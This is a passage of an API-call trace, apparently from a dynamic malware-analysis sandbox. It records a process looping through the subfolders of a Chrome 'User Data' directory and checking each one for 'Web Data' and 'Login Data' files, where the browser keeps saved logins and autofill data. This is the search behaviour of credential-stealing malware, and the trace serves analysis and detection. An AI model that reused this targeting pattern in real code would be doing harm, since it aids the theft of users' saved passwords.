[0083.612] wcscat (in: _Dest=0x12b7bc, _Source="PepperFlash" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
[0083.612] wcscmp (_String1="PepperFlash", _String2="..") returned 1
[0083.612] wcscmp (_String1="PepperFlash", _String2=".") returned 1
[0083.612] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x45
[0083.612] wcslen (_String="Web Data") returned 0x8
[0083.612] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
[0083.612] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x45
[0083.612] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\"
[0083.612] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data"
[0083.612] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\pepperflash\\web data")) returned 0xffffffff
[0083.613] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x45
[0083.613] wcslen (_String="Login Data") returned 0xa
[0083.613] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
[0083.613] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x45
[0083.613] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\"
[0083.613] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data"
[0083.613] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\pepperflash\\login data")) returned 0xffffffff
[0083.613] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.613] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.613] wcslen (_String="pnacl") returned 0x5
[0083.613] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.613] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.613] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.613] wcscat (in: _Dest=0x12b7bc, _Source="pnacl" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
[0083.613] wcscmp (_String1="pnacl", _String2="..") returned 1
[0083.613] wcscmp (_String1="pnacl", _String2=".") returned 1
[0083.613] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3f
[0083.613] wcslen (_String="Web Data") returned 0x8
[0083.613] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
[0083.613] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3f
[0083.613] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\"
[0083.614] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data"
[0083.614] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\pnacl\\web data")) returned 0xffffffff
[0083.614] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3f
[0083.614] wcslen (_String="Login Data") returned 0xa
[0083.614] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
[0083.614] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3f
[0083.614] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\"
[0083.614] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data"
[0083.614] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\pnacl\\login data")) returned 0xffffffff
[0083.614] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.614] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.614] wcslen (_String="Safe Browsing Channel IDs") returned 0x19
[0083.614] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.614] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.614] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.614] wcscat (in: _Dest=0x12b7bc, _Source="Safe Browsing Channel IDs" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs"
[0083.614] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.614] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcslen (_String="Safe Browsing Channel IDs-journal") returned 0x21
[0083.615] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="Safe Browsing Channel IDs-journal" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal"
[0083.615] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcslen (_String="Safe Browsing Cookies") returned 0x15
[0083.615] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="Safe Browsing Cookies" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
[0083.615] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcslen (_String="Safe Browsing Cookies-journal") returned 0x1d
[0083.615] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="Safe Browsing Cookies-journal" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal"
[0083.615] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcslen (_String="SSLErrorAssistant") returned 0x11
[0083.615] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.615] wcscat (in: _Dest=0x12b7bc, _Source="SSLErrorAssistant" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
[0083.615] wcscmp (_String1="SSLErrorAssistant", _String2="..") returned 1
[0083.615] wcscmp (_String1="SSLErrorAssistant", _String2=".") returned 1
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x4b
[0083.615] wcslen (_String="Web Data") returned 0x8
[0083.615] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
[0083.615] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x4b
[0083.615] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\"
[0083.615] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data"
[0083.616] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\web data")) returned 0xffffffff
[0083.616] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x4b
[0083.616] wcslen (_String="Login Data") returned 0xa
[0083.616] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
[0083.616] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x4b
[0083.616] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\"
[0083.616] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data"
[0083.616] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\login data")) returned 0xffffffff
[0083.616] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.616] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.616] wcslen (_String="SwiftShader") returned 0xb
[0083.616] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.616] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.616] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.616] wcscat (in: _Dest=0x12b7bc, _Source="SwiftShader" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader"
[0083.616] wcscmp (_String1="SwiftShader", _String2="..") returned 1
[0083.616] wcscmp (_String1="SwiftShader", _String2=".") returned 1
[0083.616] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned 0x45
[0083.616] wcslen (_String="Web Data") returned 0x8
[0083.616] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader"
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned 0x45
[0083.617] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\"
[0083.617] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\Web Data"
[0083.617] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\swiftshader\\web data")) returned 0xffffffff
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned 0x45
[0083.617] wcslen (_String="Login Data") returned 0xa
[0083.617] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader"
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned 0x45
[0083.617] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\"
[0083.617] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\Login Data"
[0083.617] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\swiftshader\\login data")) returned 0xffffffff
[0083.617] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.617] wcslen (_String="SwReporter") returned 0xa
[0083.617] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.617] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.617] wcscat (in: _Dest=0x12b7bc, _Source="SwReporter" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
[0083.617] wcscmp (_String1="SwReporter", _String2="..") returned 1
[0083.617] wcscmp (_String1="SwReporter", _String2=".") returned 1
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x44
[0083.617] wcslen (_String="Web Data") returned 0x8
[0083.617] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x44
[0083.617] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\"
[0083.617] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data"
[0083.617] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\swreporter\\web data")) returned 0xffffffff
[0083.617] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x44
[0083.617] wcslen (_String="Login Data") returned 0xa
[0083.617] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x44
[0083.618] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\"
[0083.618] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data"
[0083.618] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\swreporter\\login data")) returned 0xffffffff
[0083.618] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.618] wcslen (_String="WidevineCdm") returned 0xb
[0083.618] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.618] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.618] wcscat (in: _Dest=0x12b7bc, _Source="WidevineCdm" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
[0083.618] wcscmp (_String1="WidevineCdm", _String2="..") returned 1
